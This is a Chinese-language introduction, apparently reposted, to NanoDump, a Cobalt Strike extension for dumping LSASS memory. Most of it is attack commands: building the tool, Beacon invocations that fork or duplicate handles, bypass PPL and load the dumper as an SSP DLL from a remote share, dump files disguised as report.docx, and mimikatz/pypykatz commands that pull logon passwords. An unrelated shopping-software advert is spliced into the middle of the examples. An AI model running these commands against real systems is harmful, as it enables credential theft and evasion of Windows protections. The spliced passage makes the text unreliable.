关于NanoDump NanoDump是一款功能强大的MiniDump转储文件提取工具，借助该工具，研究人员可以轻松提取LSASS进程中的MiniDump数据。
功能介绍 工具安装与配置 首先，我们需要使用以下命令将该项目源码克隆到本地：
git clone https://www.php.cn/link/7acce0f7501ebb1f74878d577f16cfd6.git
在Linux系统上，我们需要使用MinGW来编译NanoDump源码：
make -f Makefile.mingw
在Windows系统上，我们需要使用MSVC来编译NanoDump源码：
nmake -f Makefile.msvc
Cobalt Strike导入 接下来，我们需要将生成的NanoDump.cna脚本导入到Cobalt Strike中。
工具使用 我们可以在Cobalt Strike的Beacon控制台中直接运行“nanodump”命令来使用NanoDump：
beacon> nanodump
恢复签名 当你下载了NanoDump生成的MiniDump转储文件之后，可以使用以下命令来恢复无效签名：
scripts/restore_signature
获取敏感信息 下列命令可以通过mimikatz来获取转储文件中的敏感信息：
mimikatz # sekurlsa::minidumpmimikatz # sekurlsa::logonPasswords full
如果你使用的是Linux系统，也可以使用mimikatz的Python 3版本，即pypykatz来获取转储文件中的敏感信息：
python3 -m pypykatz lsa minidump
以SSP加载NanoDump 我们可以在LSASS中以SSP的形式加载NanoDump，以避免打开一个句柄。此时，转储的数据将使用一个无效签名（默认为C:\Windows\Temp\report.docx）写入磁盘。当转储完成后，DllMain将返回FALSE来控制LSASS卸载NanoDump DLL。
如需修改转储路径和签名配置，可以直接修改entry.c中的NanoDump函数。
NanoDump DLL上传和加载
beacon> load_sspbeacon> delete_file C:\Windows\Temp\[RANDOM].dll
加载本地DLL
beacon> load_ssp c:\ssp.dll
加载远程DLL
beacon> load_ssp \\10.10.10.10\openShare\ssp.dll
PPL绕过
beacon> nanodump_ppl -v -w C:\Windows\Temp\lsass.dmp
工具使用演示 通过创建一个Fork间接读取LSASS进程数据，并使用无效签名将转储文件写入磁盘：
beacon> nanodump --fork --write C:\lsass.dmp
使用MalSecLogon在一个记事本进程中获取LSASS句柄，然后拷贝句柄以访问LSASS，并读取转储信息：
beacon> nanodump --malseclogon --dup --fork --binary C:\Windows\notepad.exe --valid
使用MalSecLogon获取句柄，通过使用Fork间接读取LSASS，并使用无效签名将转储文件写入磁盘：
网趣购物系统静态版支持网站一键静态生成，采用动态进度条模式生成静态，生成过程更加清晰明确，商品管理上增加淘宝数据包导入功能，与淘宝数据同步更新!采用领先的AJAX+XML相融技术，速度更快更高效！系统进行了大量的实用性更新，如优化核心算法、增加商品图片批量上传、谷歌地图浏览插入等，静态版独特的生成算法技术使静态生成过程可随意掌控，从而可以大大减轻服务器的负担，结合多种强大的SEO优化方式于一体，使
beacon> nanodump --malseclogon --fork --valid --write C:\Windows\Temp\lsass.dmp
使用无效签名下载转储文件：
beacon> nanodump
拷贝现有句柄，并使用无效签名将转储文件写入磁盘：
beacon> nanodump --dup --write C:\Windows\Temp\report.docx
获取LSASS进程PID：
beacon> nanodump --getpid
在LSASS中以SSP加载NanoDump：
beacon> load_sspbeacon> delete_file C:\Windows\Temp\[RANDOM].dll
在LSASS中以SSP加载NanoDump（远程）：
beacon> load_ssp \\10.10.10.10\openShare\nanodump_ssp.x64.dll
转储LSASS并绕过PPL：
beacon> nanodump_ppl --dup --write C:\Windows\Temp\lsass.dmp
工具运行截图
许可证协议 本项目的开发与发布遵循Apache-2.0开源许可证协议。
项目地址 https://www.php.cn/link/7acce0f7501ebb1f74878d577f16cfd6
参考资料 https://www.php.cn/link/5a18b2b3a647804eec32e380a70ba66f
https://www.php.cn/link/62cd381bcb4bf2191c555395945e4c09
https://www.php.cn/link/7acce0f7501ebb1f74878d577f16cfd6/blob/main/source/entry.c
